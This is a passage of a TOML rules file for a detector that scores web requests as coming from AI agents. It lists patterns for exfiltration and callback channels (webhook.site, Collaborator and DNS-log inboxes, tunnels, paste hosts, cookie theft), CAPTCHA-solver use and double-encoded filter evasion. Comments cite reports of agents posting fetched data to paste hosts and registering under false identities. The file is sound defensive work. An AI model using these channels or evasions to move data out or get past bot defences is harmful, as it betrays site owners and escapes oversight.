# words repeated five or more times in a row, as a model stuck in a generation
# loop writes. Short refrains ("na na na") and one long run ("aaaa") do not
# count. People type such strings rarely, but they do, so this stays at weight 1.
pattern = "(\\S+\\s+){4}\\S"
check = "repeated_token"
weight = 1
description = "A word or phrase repeated five or more times in a row (a model generation loop)"

# ── Self identification (weak; agents misreport who built them) ────────────
[[rule]]
id = "selfid.vendor_name"
group = "vendor_self_id"
kind = "self_id"
artifact = true
# Parameter values only: a vendor name in the target host (reading claude.ai
# through a relay) is ordinary browsing, not an agent naming itself.
target = "param_value"
# Also `OpenAIResearcher` and `OpenAI Research`, the identity Transluce
# documented an agent registering under (https://transluce.org/us-canada-gov).
# And a whole value of a lower-case vendor or task word fused to an
# eight-digit date and a short suffix (`claude20261001a`,
# `research20261004final`), the run-tag shape in
# https://swarmcha.se/posts/chinese-agent-fleet ; matched case-sensitively.
pattern = "\\b(claude|chatgpt|openai|gpt-?[45o]|gemini|anthropic|hunyuan|qwen|deepseek|glm|kimi)\\b|openai[\\s-]?research(er)?|(?-i:^(claude|gpt|gemini|qwen|deepseek|kimi|agent|research)\\d{8}[a-z0-9]{0,24}$)"
weight = 1
description = "Model/vendor name in a request parameter (e.g. ?agent=claude, org=OpenAI Research). Unreliable for attribution."

# ── Exfil / callback channels ──────────────────────────────────────────────
[[rule]]
id = "exfil.webhook_site"
kind = "exfil"
tactic = "T7"
target = "url"
pattern = "webhook\\.site/(token/)?[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
weight = 3
link = true
description = "webhook.site inbox (callback / exfil channel)"

[[rule]]
id = "exfil.collaborator"
group = "oast"
kind = "exfil"
tactic = "T7"
target = "url"
# A Burp Collaborator payload subdomain: a long random label on oastify.com or
# burpcollaborator.net. The label is per-session, so it links records.
# PortSwigger's public Collaborator uses these domains
# (https://portswigger.net/burp/documentation/desktop/tools/collaborator-client).
# `polling.oastify.com` (Burp's own 7-character polling host) is far short of
# the 20-character payload label, so it is not matched.
pattern = "[a-z0-9]{20,}\\.(oastify\\.com|burpcollaborator\\.net)"
weight = 3
link = true
description = "Burp Collaborator payload subdomain (per-session OAST inbox)"

[[rule]]
id = "exfil.dnslog"
group = "oast"
kind = "exfil"
tactic = "T7"
target = "url"
# A per-user subdomain on a DNS/HTTP logging service used for out-of-band
# interaction. The label is per-user, so it links records. At least one digit
# is required in the label, so the service's own named subdomains (`www`,
# `docs`, `app`) are not taken for an inbox.
pattern = "[a-z0-9]*[0-9][a-z0-9]*\\.(dnslog\\.cn|ceye\\.io|dnshook\\.site|requestrepo\\.com)"
weight = 3
link = true
description = "DNS/HTTP logging service inbox (per-user OAST subdomain)"

[[rule]]
id = "exfil.oast_service"
group = "oast"
kind = "exfil"
tactic = "T7"
target = "url"
# The bare service name, not preceded by a subdomain. Many unrelated users
# share it, so it scores but never links records. `polling.oastify.com` and
# other service subdomains are preceded by a dot, so they do not match here
# either (they are not inbox labels).
pattern = "(^|[^a-z0-9.-])(interact\\.sh|oast\\.(fun|me|pro|live|site|online)|oastify\\.com|burpcollaborator\\.net|dnslog\\.cn|ceye\\.io|dnshook\\.site|requestrepo\\.com)\\b"
weight = 3
description = "OAST service named without an inbox subdomain"

[[rule]]
id = "exfil.ntfy"
kind = "exfil"
tactic = "T7"
target = "url"
# Not a subdomain: docs.ntfy.sh is the service's own documentation.
pattern = "(^|[^a-z0-9.-])ntfy\\.sh/[A-Za-z0-9_-]{4,}"
weight = 3
link = true
description = "ntfy topic used as a beacon channel (do not read or post to topics)"

[[rule]]
id = "exfil.tunnel"
kind = "exfil"
tactic = "T7"
target = "url"
# A public tunnel to a machine behind NAT, used as a callback or drop: a
# Cloudflare quick tunnel (*.trycloudflare.com,
# https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/do-more-with-tunnels/trycloudflare/),
# ngrok (*.ngrok-free.app, *.ngrok-free.dev, *.ngrok.io, *.ngrok.app,
# https://ngrok.com/docs/domains), Serveo (*.serveo.net, https://serveo.net/),
# localhost.run (*.lhr.life, https://localhost.run/) and localtunnel
# (*.loca.lt, *.localtunnel.me, https://github.com/localtunnel/localtunnel).
# The label is per tunnel (an ngrok free domain is per account), so it links
# records, as an inbox does. It must hold a digit or a hyphen, so a service's
# own `www` or `docs` host is not taken for a tunnel. Developers expose their
# own work this way, so weight 2.
pattern = "(^|[^a-z0-9.-])[a-z0-9-]*[0-9-][a-z0-9-]*\\.(trycloudflare\\.com|ngrok-free\\.(app|dev)|ngrok\\.(io|app)|serveo\\.net|lhr\\.life|loca\\.lt|localtunnel\\.me)\\b"
weight = 2
link = true
description = "Public tunnel host (trycloudflare, ngrok, serveo, localhost.run, localtunnel)"

[[rule]]
id = "exfil.paste"
kind = "exfil"
tactic = "T7"
target = "url"
# pastebin.k4be.pl: a paste host Transluce documented an agent posting fetched
# values to (https://transluce.org/agent-activity).
pattern = "catbox\\.moe|litterbox\\.catbox|bytebin\\.lucko\\.me|paste\\.rs|dpaste|transfer\\.sh|0x0\\.st|pastebin\\.k4be\\.pl"
weight = 2
description = "Paste / file drop used as an output channel"

[[rule]]
id = "exfil.cookie"
kind = "exfil"
tactic = "T6"
target = "url"
# A `cookie` or `cookies` parameter is redacted at ingest whatever it holds
# (redact.rs SECRET_PARAM), so its length says nothing and a consent choice
# (`cookies=essential`) would read like a stolen jar; only `ck`, which is not
# redacted, keeps the length test.
pattern = "document\\.cookie|[?&]ck=[^&]{20,}"
weight = 3
description = "Cookie values sent onward"

[[rule]]
id = "exfil.disposable_mail"
kind = "exfil"
tactic = "T5"
target = "url"
# mail.gw: a disposable-mail service Transluce documented an agent creating an
# inbox on to verify an account (https://transluce.org/agent-activity).
pattern = "mail\\.tm|mail\\.gw|guerrillamail|10minutemail|temp-mail|tempmail|mailinator|maildrop\\.cc|1secmail"
weight = 2
description = "Disposable inbox (account/API key acquisition)"

# ── Anti-bot ───────────────────────────────────────────────────────────────
[[rule]]
id = "antibot.baxia"
kind = "anti_bot"
tactic = "T3"
target = "param_name"
pattern = "^(bx-ua|bx_et|bx-umidtoken|umidtoken|x5sec)$"
weight = 3
description = "Alibaba Baxia anti-bot tokens"

[[rule]]
id = "antibot.captcha_solver"
kind = "anti_bot"
tactic = "T3"
target = "url"
# The solve endpoints of CAPTCHA-solving services, not the services' home or
# docs pages: 2captcha's in.php/res.php, and the capsolver / anti-captcha
# task-creation and result endpoints. Reading 2captcha.com through a relay to
# see what it is does not match.
pattern = "2captcha\\.com/(in|res)\\.php|api\\.(capsolver|anti-captcha)\\.com/(createTask|getTaskResult)"
weight = 3
description = "CAPTCHA-solving service solve endpoint"

[[rule]]
id = "antibot.ocr_captcha"
kind = "anti_bot"
tactic = "T3"
target = "url"
pattern = "ocr\\.space.*captcha|captcha.*ocr\\.space"
weight = 3
description = "General-purpose OCR API pointed at a CAPTCHA image"

[[rule]]
id = "antibot.unblocker_params"
# In the relay group: the option rides on the scrape API call it modifies, so
# it names the tactic without adding to the call's score.
group = "relay"
kind = "anti_bot"
tactic = "T3"
target = "url"
# Scrape-API options that buy a way past bot defences: residential or
# stealth proxies and the anti-bot tier (ScrapingBee `premium_proxy`,
# `stealth_proxy`, https://www.scrapingbee.com/documentation/ ; ScraperAPI
# `premium`, `ultra_premium`,
# https://docs.scraperapi.com/control-and-optimization/premium-residential-mobile-proxy-pools ;
# ZenRows
# `premium_proxy`, https://docs.zenrows.com/universal-scraper-api/api-reference).
pattern = "(app\\.scrapingbee\\.com|api\\.scraperapi\\.com|api\\.zenrows\\.com)/[^#]*[?&](premium_proxy|stealth_proxy|premium|ultra_premium)=(true|1)\\b"
weight = 1
description = "Scrape-API unblocking option (premium or stealth proxy, ultra_premium)"

# ── Header fingerprints ────────────────────────────────────────────────────
[[rule]]
id = "header.via_hysandbox"
group = "proxy_headers"
kind = "header"
artifact = true
target = "header"
pattern = "^via:.*hysandbox"
weight = 4
significant = true
description = "Via header from a hysandbox Apache Traffic Server proxy"

[[rule]]
id = "header.via_ats"
group = "proxy_headers"
kind = "header"
artifact = true
target = "header"
pattern = "^via:.*(ApacheTrafficServer|\$ats\$|-ats\\))"
weight = 1
description = "Request passed through Apache Traffic Server"

[[rule]]
id = "header.gzip_only_requests"
group = "proxy_headers"
kind = "header"
artifact = true
target = "header"
pattern = "^accept-encoding:\\s*gzip\\s*$"
weight = 1
description = "Accept-Encoding normalised to bare gzip (ATS normalize_ae), unusual for python-requests"

[[rule]]
id = "header.headless_ua"
kind = "header"
artifact = true
target = "user_agent"
pattern = "HeadlessChrome|PhantomJS|Playwright"
weight = 1
description = "Headless browser user agent"

[[rule]]
id = "header.mcp_fetch_ua"
kind = "header"
artifact = true
target = "user_agent"
# The default user agent of the Model Context Protocol reference fetch server
# (Autonomous when the model drives it, User-Specified when a person does):
# https://github.com/modelcontextprotocol/servers/blob/main/src/fetch/src/mcp_server_fetch/server.py
pattern = "ModelContextProtocol/1\\.0 \\((Autonomous|User-Specified)"
weight = 1
description = "Model Context Protocol fetch server user agent"

[[rule]]
id = "header.cf_browser_rendering"
kind = "header"
artifact = true
target = "header"
# Request headers Cloudflare Browser Rendering adds automatically to its
# browser traffic (cf-brapi-request-id, cf-brapi-devtools, cf-biso-devtools):
# https://developers.cloudflare.com/browser-rendering/reference/automatic-request-headers/
pattern = "^cf-(biso-devtools|brapi-request-id|brapi-devtools):"
weight = 1
description = "Cloudflare Browser Rendering automatic request header"

[[rule]]
id = "header.ua_platform_mismatch"
kind = "header"
artifact = true
target = "header"
# A Sec-CH-UA-Platform client hint naming another desktop system than the
# user agent: a browser presenting a borrowed user agent, as a hosted agent
# browser does (ChatGPT agent sends a macOS user agent with a "Linux" hint,
# https://simonwillison.net/2025/Aug/4/chatgpt-agents-user-agent/). Mobile
# systems are never compared: Android's desktop mode sends a Linux user
# agent with an "Android" hint. A signed declared agent shows it too, so it
# stays weight 1; the declared identity says who it is.
pattern = "^sec-ch-ua-platform:"
check = "ua_platform_mismatch"
weight = 1
description = "User agent and Sec-CH-UA-Platform name different systems (borrowed user agent)"

[[rule]]
id = "header.pentest_ua"
kind = "header"
artifact = true
target = "user_agent"
# Default user agents of web testing tools: sqlmap (`sqlmap/<version>`,
# https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py),
# nuclei (`Nuclei - Open-source project (github.com/projectdiscovery/nuclei)`,
# https://github.com/projectdiscovery/nuclei), ffuf (`Fuzz Faster U Fool
# v<version>`, https://github.com/ffuf/ffuf/blob/master/pkg/runner/simple.go)
# and gobuster (`gobuster/<version>`,
# https://github.com/OJ/gobuster/blob/master/libgobuster/helpers.go). People
# run these tools too, and an agent calling one leaves the same string, so it
# says a tool sent the request, not who drove it.
pattern = "\\bsqlmap/\\d|Nuclei - Open-source project|Fuzz Faster U Fool|\\bgobuster/\\d"
weight = 1
description = "Web testing tool default user agent (sqlmap, nuclei, ffuf, gobuster)"

# ── Outcomes ───────────────────────────────────────────────────────────────
[[rule]]
id = "outcome.neterror"
kind = "outcome"
tactic = "T3"
target = "final_url"
pattern = "^about:(neterror|privatebrowsing|blank#blocked)"
weight = 1
description = "Remote browser ended on an error/blank page"

[[rule]]
id = "outcome.challenge"
kind = "outcome"
tactic = "T3"
target = "final_url"
pattern = "challenges\\.cloudflare\\.com|/cdn-cgi/challenge|captcha|/_incapsula_|perimeterx"
weight = 1
description = "Ended on a bot challenge"

# ── Infrastructure ─────────────────────────────────────────────────────────
[[rule]]
id = "infra.hysandbox_host"
kind = "infra"
artifact = true
target = "url"
pattern = "hysandbox\\.tencent-cloud\\.com"
weight = 3
description = "Tencent hysandbox hostnames"

# ── Evasion and exfiltration seen in published incidents ───────────────────
# Reconstructed from the write-ups the file header cites. Never fetched.
[[rule]]
id = "exploit.double_encoded_path"
kind = "exploit"
tactic = "T4"
target = "url"
# A percent escape surviving inside a path segment after the engine decoded
# the URL once: `F%2561cts` decodes to `F%61cts`, so `%61` (`a`) is still
# there, where a normally once-encoded path would be plain text. Only escapes
# of a printable graphic character (`%25`-`%7a`, so not `%20` space) count, so
# `annual%2520report` (a double-encoded space) is left alone.
pattern = "/[a-z0-9_.~-]*%(2[5-9a-f]|[3-6][0-9a-f]|7[0-9a])"
weight = 4
significant = true
description = "Double-encoded path segment (F%2561cts -> F%61cts), an input-filter evasion"

[[rule]]
id = "exploit.double_encoded_meta"
kind = "exploit"
tactic = "T4"
target = "param_value"
# An injection metacharacter (`< > ' "`) left percent-encoded in a value that
# the engine already decoded once: it was double-encoded to survive one layer
# of decoding (`%253Cscript%253E` arrives as `%3Cscript%3E`). An ordinary
# once-encoded value decodes to the character itself, so this fires only on the
# surviving escape of a deliberate double-encoding. Parentheses (`%28`/`%29`)
# are left out: a double-encoded title such as `Rust_%2528programming%2529`
# arrives as `%28...%29` and is ordinary, not an injection.
pattern = "%(3[ce]|27|22)"
weight = 4
significant = true
description = "Double-encoded injection metacharacter in a parameter value (%253C -> %3C)"

[[rule]]
id = "antibot.incapsula"
kind = "anti_bot"
tactic = "T3"
target = "url"
pattern = "_Incapsula_Resource"
weight = 3
description = "Imperva Incapsula anti-bot resource requested directly"

[[rule]]
id = "exfil.httpbin_data"
kind = "exfil"
tactic = "T7"
target = "url"
# A long value on a `d`, `e`, `data`, `out`, `resp`, `result` or `pr` parameter
# of an echo service: a program sending a fetched response or error text back
# out by putting it in the URL it navigates to. Covers the echo endpoints
# agents use to carry data (`get`, `anything`, `status/<code>`, `base64/...`).
# Ordinary echo calls carry short values; this wants 40 characters or more.
pattern = "(httpbin\\.org|httpbun\\.(com|org))/(get|anything|status/\\d{3}|base64/[^?#]*)[^#]*[?&](d|e|data|out|resp|result|pr)=[^&#]{40,}"
weight = 3
significant = true
description = "Fetched data sent back inside an echo-service URL (httpbin get?d=...)"

[[rule]]
id = "marker.oai_prefix"
kind = "agent_marker"
artifact = true
group = "run_tag"
target = "url"
# `OAI_` or `CHATGPT_` followed by an upper-case/numeric identifier, in a tag
# or `tok` value (`tok=OAI_META_1312`, `CHATGPT_1610_2000_125192`). Matched
# case-sensitively: ordinary words are not upper case.
pattern = "(?-i:\\bOAI_[A-Z][A-Z0-9_]+|\\bCHATGPT_[0-9][0-9A-Z_]+)"
weight = 3
description = "OAI_/CHATGPT_ run tag (OpenAI-UNCTAD, US/Canada government reports)"

# ── Declared agent identity (FM-7.11): evidence, never fetched ─────────────
[[rule]]
id = "selfid.signature_agent"
kind = "self_id"
artifact = true
target = "header"
# Web Bot Auth message-signature headers. Their presence shows the client
# signs its requests; the key is never fetched (the URI is agent-supplied).
pattern = "^signature-agent:|^signature-input:.*\\bkeyid="
weight = 1
description = "Web Bot Auth signature headers (Signature-Agent / Signature-Input)"

[[rule]]
id = "header.agent_ua"
kind = "header"
artifact = true
target = "user_agent"
# User agents that name a published agent product. A product that signs its
# requests but appears here with no signature is a counter-signal the case
# records; on its own this only says an agent may have sent the request.
# ExaSearchBot: https://crawler.exa.ai/ . FirecrawlAgent: the token Firecrawl
# reads robots.txt as
# (https://github.com/firecrawl/firecrawl/blob/main/apps/api/src/lib/robots-txt.ts).
# CloudflareBrowserRenderingCrawler: the Browser Rendering crawl endpoint
# (https://developers.cloudflare.com/browser-rendering/reference/automatic-request-headers/).
# Amzn-User, Amzn-SearchBot: https://developer.amazon.com/amazonbot . KimiBot,
# Kimi-User, Kimi-SearchBot: https://www.kimi.ai/policies/kimi-crawlers .
# meta-webindexer, meta-externalads:
# https://developers.facebook.com/docs/sharing/webmasters/web-crawlers .
# Google-Pinpoint:
# https://developers.google.com/crawling/docs/crawlers-fetchers/google-user-triggered-fetchers .
# Applebot is a search crawler, not an agent product: it is in
# declared-agents.toml for identity checks only.
pattern = "ChatGPT-User|OAI-SearchBot|OAI-AdsBot|GPTBot|ClaudeBot|Claude-User|Claude-SearchBot|PerplexityBot|Perplexity-User|Google-Agent|Google-CloudVertexBot|Google-GeminiNotebook|Google-Read-Aloud|Google-Pinpoint|MistralAI-User|MistralAI-Index|DuckAssistBot|Bytespider|Amazonbot|Amzn-User|Amzn-SearchBot|KimiBot|Kimi-User|Kimi-SearchBot|meta-externalagent|meta-externalfetcher|meta-webindexer|meta-externalads|ExaSearchBot|FirecrawlAgent|CloudflareBrowserRenderingCrawler"
weight = 1
description = "Known agent product in the user agent (FM-7.11 declared identity)"

[[rule]]
id = "header.markdown_accept"
kind = "header"
artifact = true
target = "header"
# An Accept header that lists Markdown first: coding agents ask for it so a
# site can answer in Markdown. Claude Code and OpenCode send it
# (https://blog.cloudflare.com/markdown-for-agents/), and so does Cursor
# (https://www.checklyhq.com/blog/state-of-ai-agent-content-negotation).
# Documentation tooling asks for Markdown too, so weight 1.
pattern = "^accept:\\s*text/markdown\\b"
weight = 1
description = "Accept header asking for Markdown first (coding-agent content negotiation)"

[[rule]]
id = "selfid.agent_commerce"
kind = "self_id"
artifact = true
target = "header"
# Headers an agent sends when it browses or pays as a declared agent: a Web
# Bot Auth signature tagged `agent-browser-auth` or `agent-payer-auth`
# (https://blog.cloudflare.com/secure-agentic-commerce/), Cloudflare
# pay-per-crawl's price headers
# (https://developers.cloudflare.com/ai-crawl-control/features/pay-per-crawl/use-pay-per-crawl-as-ai-owner/crawl-pages/)
# and the x402 payment header, `PAYMENT-SIGNATURE` in version 2
# (https://docs.x402.org/core-concepts/http-402) and `X-PAYMENT` in version 1
# (https://docs.cdp.coinbase.com/x402/migration-guide). Paying crawlers send
# them on ordinary pages, so weight 1.
pattern = "^signature-input:.*tag=\"agent-(browser|payer)-auth\"|^crawler-(max|exact)-price:|^(payment-signature|x-payment):"
weight = 1
description = "Agentic-commerce headers (agent-browser-auth or agent-payer-auth signature, pay-per-crawl price, x402 payment)"

[[rule]]
id = "header.coding_agent_ua"
kind = "header"
artifact = true
target = "user_agent"
# Fetch user agents of coding harnesses, which header.agent_ua does not name.
# Gemini CLI web_fetch (`Google-Gemini-CLI/1.0`,
# https://github.com/google-gemini/gemini-cli/blob/main/packages/core/src/tools/web-fetch.ts),
# Qwen Code (`QwenCode/<version> (<platform>; <arch>)`,
# https://github.com/QwenLM/qwen-code/blob/main/packages/core/src/tools/web-fetch.ts),
# Aider (`Aider/<version> +https://aider.chat/`, appended to its browser's user
# agent or inside a `Mozilla./5.0 (...)` one,
# https://github.com/Aider-AI/aider/blob/main/aider/scrape.py) and Crush
# (`crush/1.0`, the whole user agent,
# https://github.com/charmbracelet/crush/blob/main/internal/agent/tools/fetch.go).
# Claude Code's fetch identifies as Claude-User, which header.agent_ua reads.
# Developers read documentation through these tools every day, so it says a
# harness fetched the page, not that anyone was harmed.
pattern = "Google-Gemini-CLI/\\d|\\bQwenCode/\\S+ \\(|\\bAider/\\d\\S* \\+https://aider\\.chat|^crush/\\d+\\.\\d+$"
weight = 1
description = "Coding-agent harness fetch user agent (Gemini CLI, Qwen Code, Aider, Crush)"

[[rule]]
id = "marker.assistant_citation"
# One group with selfid.vendor_name: `chatgpt.com` in the tag is also a vendor
# name in a value, and one tag counts once.
group = "vendor_self_id"
kind = "self_id"
artifact = true
target = "url"
# The referral tag ChatGPT adds to the links it cites
# (https://help.openai.com/en/articles/12627856, "ChatGPT automatically
# includes the UTM parameter utm_source=chatgpt.com in referral URLs"). A
# person clicking a cited link sends it too, and so does an agent that copies a
# cited URL into its own requests; it says the URL came from an assistant's
# answer, not who sent it.
pattern = "[?&]utm_source=chatgpt\\.com(&|#|$)"
weight = 1
description = "Assistant citation tag on the URL (utm_source=chatgpt.com)"

# ── ASN → organisation hints (attribution context, never proof) ────────────
[[asn]]
asn = 132203
org = "Tencent Cloud"

[[asn]]
asn = 45090
org = "Tencent (Shenzhen)"

[[asn]]
asn = 37963
org = "Alibaba Cloud (CN)"

[[asn]]
asn = 45102
org = "Alibaba Cloud (intl)"

[[asn]]
asn = 55990
org = "Huawei Cloud"

[[asn]]
asn = 16509
org = "Amazon AWS"

[[asn]]
asn = 14618
org = "Amazon AWS"

[[asn]]
asn = 8075
org = "Microsoft Azure"

[[asn]]
asn = 396982
org = "Google Cloud"

[[asn]]
asn = 15169
org = "Google"

[[asn]]
asn = 13335
org = "Cloudflare"

[[asn]]
asn = 14061
org = "DigitalOcean"

[[asn]]
asn = 24940
org = "Hetzner"

[[asn]]
asn = 16276
org = "OVH"

# ── Benchmark and practice targets ─────────────────────────────────────────
# Public sites and environments built to be tested against: intentionally
# vulnerable demo sites, and benchmark environments agents are evaluated in.
# A cluster hitting them gets a `benchmarks` hint: evaluation or training
# activity, not malice. A hint only; it never scores or lowers a score.
#   id       unique name, shown in reports
#   target   url (default: the request on the target host) or user_agent
#   pattern  case-insensitive regex
#   note     what a match means

[[benchmark]]
id = "acunetix_vulnweb"
# http://www.vulnweb.com/ (Acunetix test sites)
pattern = "://(testphp|testhtml5|testasp|testaspnet|rest)\\.vulnweb\\.com\\b"
note = "Acunetix's intentionally vulnerable test sites"

[[benchmark]]
id = "altoro_mutual"
# https://github.com/HCL-TECH-SOFTWARE/AltoroJ (the demo.testfire.net bank)
pattern = "://(demo\\.)?testfire\\.net\\b"
note = "Altoro Mutual, a deliberately vulnerable demo bank"

[[benchmark]]
id = "owasp_juice_shop"
# https://github.com/juice-shop/juice-shop (public demo instances)
pattern = "://(demo\\.owasp-juice\\.shop|juice-shop\\.herokuapp\\.com)\\b"
note = "OWASP Juice Shop, a deliberately insecure training shop"

[[benchmark]]
id = "google_firing_range"
# https://github.com/google/firing-range
pattern = "://public-firing-range\\.appspot\\.com\\b"
note = "Google Firing Range, a test bed for web scanners"

[[benchmark]]
id = "google_xss_game"
# https://xss-game.appspot.com/ (Google's XSS training game)
pattern = "://xss-game\\.appspot\\.com\\b"
note = "Google's XSS game, a deliberately vulnerable training site"

[[benchmark]]
id = "hack_yourself_first"
# https://hack-yourself-first.com/ (Troy Hunt's training site)
pattern = "://(www\\.)?hack-yourself-first\\.com\\b"
note = "Hack Yourself First, a deliberately vulnerable training site"

[[benchmark]]
id = "webarena"
# https://github.com/web-arena-x/webarena and
# https://github.com/web-arena-x/visualwebarena (environment URLs)
pattern = "://metis\\.lti\\.cs\\.cmu\\.edu:(3000|4399|7770|7780|8023|8888|9980|9999)\\b"
note = "WebArena or VisualWebArena benchmark environment"

[[benchmark]]
id = "miniwob"
# https://github.com/Farama-Foundation/miniwob-plusplus (task pages)
pattern = "/miniwob/[a-z0-9-]+\\.html\\b"
note = "MiniWoB++ web-agent benchmark task"

[[benchmark]]
id = "picoctf"
# https://picoctf.org/ (challenge hosts); InterCode-CTF and other agent
# benchmarks draw tasks from it: https://intercode-benchmark.github.io/
pattern = "://(mercury|saturn|jupiter|titan)\\.picoctf\\.net\\b"
note = "picoCTF challenge host, used by CTF agent benchmarks"

# ── Stale knowledge ────────────────────────────────────────────────────────
# Retired API endpoints and old client versions. A model writes requests
# from what its training data knew; an agent repeating one across its targets
# shows that. Reported per cluster when at least two members carry one, with
# API path versions below the newest one seen on the same host family
# (`older_api_version`). A hint only: old scripts and pinned clients do the
# same. Fields as for [[benchmark]].

[[stale]]
id = "openai_engines_api"
# https://platform.openai.com/docs/deprecations (Engines endpoints, 2022)
pattern = "api\\.openai\\.com/v1/engines\\b"
note = "OpenAI Engines endpoints, deprecated in 2022"

[[stale]]
id = "openai_python_0x"
target = "user_agent"
# https://github.com/openai/openai-python/releases/tag/v1.0.0 (November 2023)
pattern = "\\bOpenAI/Python 0\\."
note = "openai-python before 1.0, superseded in 2023"

[[stale]]
id = "twitter_api_v1_1"
# https://developer.x.com/en/docs/x-api/v1 (v1.1 retired for most uses, 2023)
pattern = "api\\.twitter\\.com/1\\.1/"
note = "Twitter API v1.1, retired for most uses in 2023"

[[stale]]
id = "google_ajax_search"
# https://developers.google.com/custom-search/v1/overview (replaced the
# Web Search API, shut down in 2016)
pattern = "ajax\\.googleapis\\.com/ajax/services/search/"
note = "Google Web Search API, shut down in 2016"

[[stale]]
id = "yahoo_yql"
# https://developer.yahoo.com/yql/ (retired in January 2019)
pattern = "query\\.yahooapis\\.com/v1/public/yql"
note = "Yahoo Query Language, retired in 2019"

[[stale]]
id = "facebook_graph_v2"
# https://developers.facebook.com/docs/graph-api/changelog/versions (every
# v2.x version expired by 2020)
pattern = "graph\\.facebook\\.com/v2\\.\\d+/"
note = "Facebook Graph API v2.x, expired by 2020"

[[stale]]
id = "github_query_token"
# https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/
pattern = "api\\.github\\.com/[^?#]*\\?([^#]*&)?access_token="
note = "GitHub API token in the query string, removed in 2021"

[[stale]]
id = "python_requests_old"
target = "user_agent"
# https://pypi.org/project/requests/#history (2.10 released in 2016)
pattern = "\\bpython-requests/(1\\.|2\\.[0-9]\\.)"
note = "python-requests before 2.10 (2016)"

[[stale]]
id = "google_notebooklm_ua"
target = "user_agent"
# https://developers.google.com/crawling/docs/crawlers-fetchers/google-user-triggered-fetchers
# (Google-NotebookLM is the former Gemini Notebook agent, supported until
# August 2026 and replaced by Google-GeminiNotebook)
pattern = "\\bGoogle-NotebookLM\\b"
note = "Google-NotebookLM user agent, replaced by Google-GeminiNotebook (support ended August 2026)"